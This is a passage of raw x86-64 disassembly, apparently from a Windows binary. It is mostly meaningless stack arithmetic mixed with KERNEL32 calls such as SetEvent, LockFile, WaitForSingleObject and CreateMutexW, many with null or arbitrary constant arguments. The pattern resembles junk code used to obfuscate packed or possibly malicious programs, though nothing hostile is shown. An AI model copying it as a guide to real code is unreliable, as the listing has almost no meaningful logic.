mov word [rsp + 0x1dc8], ax
mov eax, dword [rsp + 0x9ec0]
mov dword [rsp + 0xa1b8], eax
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a60], eax
mov rcx, qword [rsp + 0x14490]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa088], eax
mov eax, dword [rsp + 0x9e08]
movzx ecx, al
mov eax, dword [rsp + 0x9f94]
shl eax, cl
mov dword [rsp + 0x9c10], eax
mov eax, 0x38
imul rax, rax, 2
lea rcx, [rsp + 0x4a950]
add rcx, rax
mov rax, rcx
add rax, 4
mov dword [rax], 0x85945b8
mov eax, dword [0x14036245c]
mov ecx, dword [rsp + 0x92e8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8620], eax
mov rax, qword [rsp + 0x13cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13478]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2b88], ax
movzx eax, byte [rsp + 0x72a]
mov byte [0x140363f84], al
lea rax, [rsp + 0x8ee8]
mov qword [rsp + 0x154d8], rax
mov rax, qword [rsp + 0x13040]
mov ecx, dword [rsp + 0x59cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9664], eax
mov rax, qword [rsp + 0x13ad8]
mov rcx, qword [rsp + 0x151f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x146a0]
mov dword [rcx], eax
lea rax, [rsp + 0x9ae4]
mov qword [rsp + 0x154e0], rax
mov rax, qword [rsp + 0x14b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e48]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
mov rcx, qword [rsp + 0x13d88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x2b74]
mov word [rsp + 0x2d6c], ax
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x14778]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1bc], eax
mov rcx, qword [rsp + 0x142b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9f64], eax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4ba30]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa1c0], eax
movsx eax, byte [rsp + 0x73c]
movsx ecx, byte [rsp + 0x6e0]
sub eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x14340]
movzx eax, byte [rax]
mov byte [rsp + 0x799], al
movzx eax, word [rsp + 0x1168]
mov word [0x14036a1b0], ax
mov rax, qword [rsp + 0x144f0]
mov ecx, dword [rsp + 0x9d8c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14678]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b90]
mov eax, dword [rax]
mov ecx, dword [0x140369e60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b48], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa188], eax
lea rax, [rsp + 0x772]
mov qword [rsp + 0x154e8], rax
mov rax, qword [rsp + 0x14f50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1dc8]
and eax, ecx
mov word [rsp + 0x2cfc], ax
lea rax, [rsp + 0x6a40]
mov qword [rsp + 0x154f0], rax
mov eax, dword [rsp + 0x9d98]
mov ecx, dword [rsp + 0x9c28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f8c], eax
mov edx, 0x5b4
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa154], eax
mov rax, qword [rsp + 0x146b0]
mov ecx, dword [0x140369fe4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15488]
mov qword [rsp + 0x154f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x154f8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6524], eax
movzx eax, byte [rsp + 0x74a]
mov rcx, qword [rsp + 0x13708]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x140369ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b98]
xor eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
mov eax, dword [rsp + 0x59d0]
mov dword [rsp + 0xa1c4], eax
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0e0], eax
movsx eax, word [rsp + 0x18c4]
mov rcx, qword [rsp + 0x14628]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12ec], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0x32c]
mov qword [rsp + 0x15500], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa1c8], eax
mov rax, qword [rsp + 0x13f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13110]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1168], ax
lea rax, [rsp + 0x73d]
mov qword [rsp + 0x15508], rax
mov rax, qword [rsp + 0x142d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99d8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13260]
mov ecx, dword [rsp + 0x807c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x140369b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13808]
mov rcx, qword [rsp + 0x13780]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7dcc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9da8], eax
mov rax, qword [rsp + 0x14738]
mov rcx, qword [rsp + 0x13920]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e48], eax
lea rdx, [rsp + 0x42e98]
mov rcx, qword [rsp + 0x139f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1cc], eax
mov rax, qword [rsp + 0x14ec0]
mov rcx, qword [rsp + 0x149a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x77cc], eax
mov rax, qword [rsp + 0x15468]
movzx eax, word [rax]
mov word [rsp + 0x2d70], ax
movzx eax, byte [rsp + 0x735]
movzx ecx, byte [rsp + 0x120]
add eax, ecx
mov rcx, qword [rsp + 0x15260]
mov byte [rcx], al
lea rax, [rsp + 0xa16c]
mov qword [rsp + 0x15510], rax
mov rax, qword [rsp + 0x13a50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5284], eax
mov eax, dword [rsp + 0xa0b0]
mov ecx, dword [rsp + 0x72b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9968], eax
mov eax, dword [rsp + 0x9dbc]
mov ecx, dword [rsp + 0x8fd8]
or ecx, eax
mov eax, ecx
mov dword [0x140362518], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x15518], rax
movzx eax, word [rsp + 0x2cb0]
imul eax, eax, 0x14c
mov rcx, qword [rsp + 0x145a8]
mov word [rcx], ax
lea rax, [rsp + 0x12ec]
mov qword [rsp + 0x15520], rax
movsx eax, byte [rsp + 0x754]
movsx ecx, byte [rsp + 0x761]
shl eax, cl
mov byte [rsp + 0x76e], al
mov rax, qword [rsp + 0x15288]
mov ecx, dword [0x1403624f4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13518]
mov dword [rcx], eax
lea rax, [rsp + 0x9c6c]
mov qword [rsp + 0x15528], rax
movzx eax, byte [rsp + 0x27e]
cdq
mov ecx, 0xc2
idiv ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x15090]
movzx eax, word [rax]
movzx ecx, word [0x140369c6c]
sar eax, cl
mov word [rsp + 0x225c], ax
mov eax, dword [rsp + 0x9f58]
mov ecx, dword [rsp + 0x8df8]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14036a100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9678]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142c0]
mov dword [rcx], eax
mov rax, qword [0x140369d18]
mov rcx, qword [rsp + 0x15100]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ebc], eax
mov rax, qword [rsp + 0x13f30]
mov eax, dword [rax]
mov dword [rsp + 0xa1d0], eax
lea rcx, [rsp + 0x4c690]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9a1c], eax
movzx eax, byte [rsp + 0x13c]
imul eax, eax, 0x23
mov byte [rsp + 0x120], al
mov rax, qword [0x140369d58]
movzx eax, word [rax]
mov word [rsp + 0x2d74], ax
mov rax, qword [rsp + 0x14f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e58]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15408]
mov rcx, qword [rsp + 0x13e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13068]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa18c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63b4], eax
mov rax, qword [rsp + 0x13b70]
mov eax, dword [rax]
mov dword [0x14036a1b4], eax
mov rax, qword [0x140369ec8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5810]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ab4], eax
lea rax, [rsp + 0x731]
mov qword [rsp + 0x15530], rax
mov rcx, qword [rsp + 0x14810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x148f8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cb4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15538], rax
mov rax, qword [rsp + 0x13528]
movzx eax, byte [rax]
mov byte [rsp + 0x79a], al
mov rax, qword [0x140369ef0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13370]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov eax, dword [rsp + 0xa0fc]
mov ecx, dword [rsp + 0x63b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa034], eax
mov rax, qword [rsp + 0x14838]
mov rcx, qword [0x140369d30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x691c], eax
mov rax, qword [rsp + 0x13898]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14278]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x133d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x134d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2dd]
shl eax, cl
mov byte [0x1403525ca], al
lea rax, [rsp + 0x9b04]
mov qword [rsp + 0x15540], rax
mov rax, qword [rsp + 0x14ad8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14518]
mov qword [rsp + 0x15548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15548]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x52fc], eax
mov rax, qword [rsp + 0x13800]
mov ecx, dword [0x140362504]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x154c0]
mov dword [rcx], eax
lea rax, [rsp + 0x9f4c]
mov qword [rsp + 0x15550], rax
movzx eax, word [rsp + 0x2b8c]
mov rcx, qword [rsp + 0x13058]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2c00], ax
lea rax, [rsp + 0x78c]
mov qword [rsp + 0x15558], rax
mov eax, dword [rsp + 0x9ef0]
mov ecx, dword [rsp + 0x592c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153c8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x147a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ad8], eax
mov rax, qword [rsp + 0x13e68]
mov rcx, qword [rsp + 0x14be8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x83e4], eax
lea rax, [rsp + 0x2c58]
mov qword [0x14036a1b8], rax
movzx eax, byte [0x1403525a2]
mov byte [rsp + 0x79b], al
mov edx, 0x1642
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa1d4], eax
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15480]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bfc], ax
movzx eax, byte [rsp + 0x763]
mov byte [rsp + 0x79c], al
mov rax, qword [0x140369d20]
mov rcx, qword [rsp + 0x13d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15338]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa070]
mov ecx, dword [rsp + 0x8d78]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ad8], eax
mov rax, qword [0x140369d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9eac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ea8]
mov ecx, dword [rsp + 0x9ec0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14980]
mov dword [rcx], eax
lea rax, [rsp + 0x7ca4]
mov qword [rsp + 0x15560], rax
mov rax, qword [rsp + 0x13420]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13930]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13918]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x288c]
add eax, ecx
mov word [0x14036a068], ax
mov rax, qword [rsp + 0x13620]
mov eax, dword [rax]
mov dword [rsp + 0xa1d8], eax
mov eax, dword [0x140369d50]
mov ecx, dword [rsp + 0x9d60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e50], eax
mov eax, dword [rsp + 0x69b4]
mov ecx, dword [rsp + 0x84ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c08], eax
lea rax, [rsp + 0xa148]
mov qword [rsp + 0x15568], rax
mov rax, qword [0x140369c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x132a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x78f], al
mov dword [rsp + 0x20], 0x24ee
mov r9d, 0x2d8e
mov r8d, 0x2e74
mov edx, 0x28c4
mov rcx, qword [rsp + 0x14170]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9dcc], eax
movzx eax, word [rsp + 0x2c28]
movzx ecx, word [rsp + 0x2b80]
sar eax, cl
mov word [rsp + 0x244c], ax
movsx eax, byte [rsp + 0x738]
cdq
mov ecx, 0x3d
idiv ecx
mov rcx, qword [rsp + 0x15530]
mov byte [rcx], al
movsx eax, word [rsp + 0x2094]
movsx ecx, word [rsp + 0x1a88]
or eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov word [rcx], ax
mov eax, dword [rsp + 0x6234]
mov ecx, dword [rsp + 0x645c]
and ecx, eax
mov eax, ecx
mov dword [0x14036251c], eax
lea rax, [rsp + 0x9b60]
mov qword [rsp + 0x15570], rax
mov rax, qword [rsp + 0x14d40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x742]
add eax, ecx
mov byte [rsp + 0x37f], al
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x15578], rax
mov rax, qword [0x140369d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x139b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x154a8]
mov ecx, dword [rsp + 0x9dc4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14478]
mov dword [rcx], eax
lea rax, [rsp + 0xa010]
mov qword [rsp + 0x15580], rax
mov eax, dword [rsp + 0x9ccc]
mov ecx, dword [rsp + 0x9a54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x636c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b80], eax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
mov word [rsp + 0x2d78], ax
mov rax, qword [rsp + 0x14a68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x784]
or eax, ecx
mov rcx, qword [0x140369ee0]
mov byte [rcx], al
mov eax, dword [rsp + 0xa174]
mov ecx, dword [0x140362490]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
mov dword [rsp + 0xa1dc], eax
mov rax, qword [rsp + 0x13e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13808]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x69f
mov r9d, 0x26c2
mov r8d, 0x73fe0f98
mov edx, 2
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa1e0], eax
mov rax, qword [rsp + 0x13660]
mov rcx, qword [rsp + 0x15580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8ff8], eax
mov rax, qword [rsp + 0x138d8]
mov ecx, dword [rsp + 0x6a40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6880], eax
movsx eax, word [rsp + 0x29ec]
movsx ecx, word [rsp + 0x2cac]
xor eax, ecx
mov word [rsp + 0x2c90], ax
movzx eax, byte [rsp + 0x76f]
mov byte [rsp + 0x79d], al
movzx eax, byte [rsp + 0x77c]
movzx ecx, byte [rsp + 0x6c0]
shl eax, cl
mov byte [rsp + 0x788], al
lea rax, [rsp + 0x29ac]
mov qword [0x14036a1c0], rax
mov rax, qword [rsp + 0x14638]
mov eax, dword [rax]
mov rcx, qword [0x14036a038]
mov qword [rsp + 0x15588], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15588]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x130f8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9ec8], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x138c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8f34], eax
movzx eax, word [0x140369cb8]
mov rcx, qword [rsp + 0x145d0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2b84], ax
movzx eax, byte [rsp + 0x21a]
mov byte [rsp + 0x79e], al
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x9ed8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov dword [rcx], eax
mov rax, qword [0x140369f30]
mov ecx, dword [rsp + 0xa018]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
lea rdx, [rsp + 0x43138]
mov rcx, qword [rsp + 0x13388]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa1e4], eax
lea rax, [rsp + 0x6878]
mov qword [rsp + 0x15590], rax
mov rax, qword [rsp + 0x13cb8]
mov rcx, qword [rsp + 0x13f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14748]
mov dword [rcx], eax
lea rax, [0x140363f6d]
mov qword [0x14036a1c8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [rsp + 0x1f24]
mov qword [rsp + 0x15598], rax
mov rax, qword [rsp + 0x15220]
mov ecx, dword [rsp + 0x9f10]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14350]
mov dword [rcx], eax
lea rdx, [rsp + 0x431e0]
mov rcx, qword [rsp + 0x141f8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9f08], eax
mov eax, dword [rsp + 0xa074]
mov ecx, dword [rsp + 0x7c50]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f24], eax
movsx eax, byte [rsp + 0x748]
movsx ecx, byte [rsp + 0x771]
add eax, ecx
mov byte [rsp + 0x736], al
mov rax, qword [rsp + 0x12f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x134b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c64], ax
mov rax, qword [rsp + 0x14b40]
movzx eax, word [rax]
mov word [rsp + 0x2d7c], ax
mov edx, 0x16f6
mov rcx, qword [rsp + 0x14140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9d30], eax
movzx eax, byte [rsp + 0x732]
movzx ecx, byte [rsp + 0x702]
add eax, ecx
mov rcx, qword [rsp + 0x154c8]
mov byte [rcx], al
lea rax, [rsp + 0x9d98]
mov qword [rsp + 0x155a0], rax
mov rax, qword [rsp + 0x13800]
mov ecx, dword [rsp + 0x9518]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140369b90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x145f0]
mov ecx, dword [rsp + 0x9b28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8340], eax
mov eax, dword [0x1403624d0]
mov rcx, qword [rsp + 0x14080]
mov qword [rsp + 0x155a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e68], eax
mov rax, qword [rsp + 0x152f8]
mov eax, dword [rax]
mov dword [rsp + 0xa1e8], eax
movzx eax, word [rsp + 0x2cf4]
movzx ecx, word [rsp + 0x2afc]
xor eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0x132c0]
movzx eax, byte [rax]
movzx ecx, byte [0x1403525cb]
sar eax, cl
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x13540]
mov rcx, qword [rsp + 0x14cc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a40], eax
mov eax, dword [rsp + 0x9d98]
mov ecx, dword [rsp + 0x9b90]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x62ac]
mov dword [rsp + 0xa1ec], eax
mov rax, qword [rsp + 0x151f0]
mov ecx, dword [rsp + 0x9c00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140369f20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x189c]
movzx ecx, word [0x1403624a0]
add eax, ecx
mov word [rsp + 0x275c], ax
lea rax, [rsp + 0x772]
mov qword [rsp + 0x155b0], rax
movsx eax, word [rsp + 0x1bf0]
movsx ecx, word [rsp + 0x154c]
add eax, ecx
mov rcx, qword [rsp + 0x13d58]
mov word [rcx], ax
movsx eax, byte [rsp + 0x79d]
movsx ecx, byte [0x140363f1e]
sub eax, ecx
mov rcx, qword [rsp + 0x142a8]
mov byte [rcx], al
lea rax, [rsp + 0xa090]
mov qword [rsp + 0x155b8], rax
mov eax, dword [rsp + 0x82a8]
mov ecx, dword [rsp + 0x9bd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0b0], eax
lea rax, [rsp + 0x72d]
mov qword [rsp + 0x155c0], rax
mov dword [rsp + 0x20], 0x36d6
mov r9d, 0x2a31
mov r8d, 0x1b26
mov edx, 0x21f2
mov rcx, qword [rsp + 0x14d68]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa044], eax
mov rax, qword [0x140369c80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13b20]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x155c8], rax
mov eax, dword [rsp + 0x5480]
mov dword [0x14036a1d0], eax
mov rax, qword [rsp + 0x131a8]
mov rcx, qword [0x14036a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0x14458]
mov rcx, qword [rsp + 0x13eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14998]
mov dword [rcx], eax
mov rax, qword [rsp + 0x155b8]
mov rcx, qword [rsp + 0x145e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13c28]
mov dword [rcx], eax
movzx eax, word [0x140352bcc]
mov word [rsp + 0x2d80], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x69f
mov r8d, 0x26c2
mov edx, 0x34
mov rcx, qword [rsp + 0x14420]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9bf0], eax
movzx eax, byte [rsp + 0x763]
movzx ecx, byte [rsp + 0x1c4]
sar eax, cl
mov byte [rsp + 0x780], al
lea rax, [rsp + 0x9bbc]
mov qword [rsp + 0x155d0], rax
mov rax, qword [0x14036a0f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ef8]
mov qword [rsp + 0x155d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x144f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14738]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14ae8]
mov dword [rcx], eax
lea rax, [rsp + 0x9d44]
mov qword [0x14036a1d8], rax
lea rax, [rsp + 0x57e8]
mov qword [rsp + 0x155e0], rax
mov rax, qword [0x140369ed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x783]
add eax, ecx
mov byte [rsp + 0x12c], al
lea rax, [rsp + 0x28b4]
mov qword [rsp + 0x155e8], rax
mov rax, qword [rsp + 0x14250]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b84]
or eax, ecx
mov word [rsp + 0x178c], ax
mov rcx, qword [rsp + 0x15110]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14036a128]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15318]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13288]
mov byte [rcx], al
lea rax, [rsp + 0x87e8]
mov qword [rsp + 0x155f0], rax
mov eax, dword [0x140369da8]
mov ecx, dword [rsp + 0x9f28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e1c], eax
lea rax, [rsp + 0x70d]
mov qword [rsp + 0x155f8], rax
movzx eax, word [rsp + 0x15c4]
mov rcx, qword [rsp + 0x14b48]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369ef0]
mov word [rcx], ax
mov eax, dword [rsp + 0x9a64]
mov ecx, dword [rsp + 0x77ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14290]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [rsp + 0x9cb4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xa1f0], eax
mov rax, qword [0x14036a0e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dfc], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4b250]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0xa1f4], eax
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x15600], rax
mov rax, qword [rsp + 0x13218]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x758]
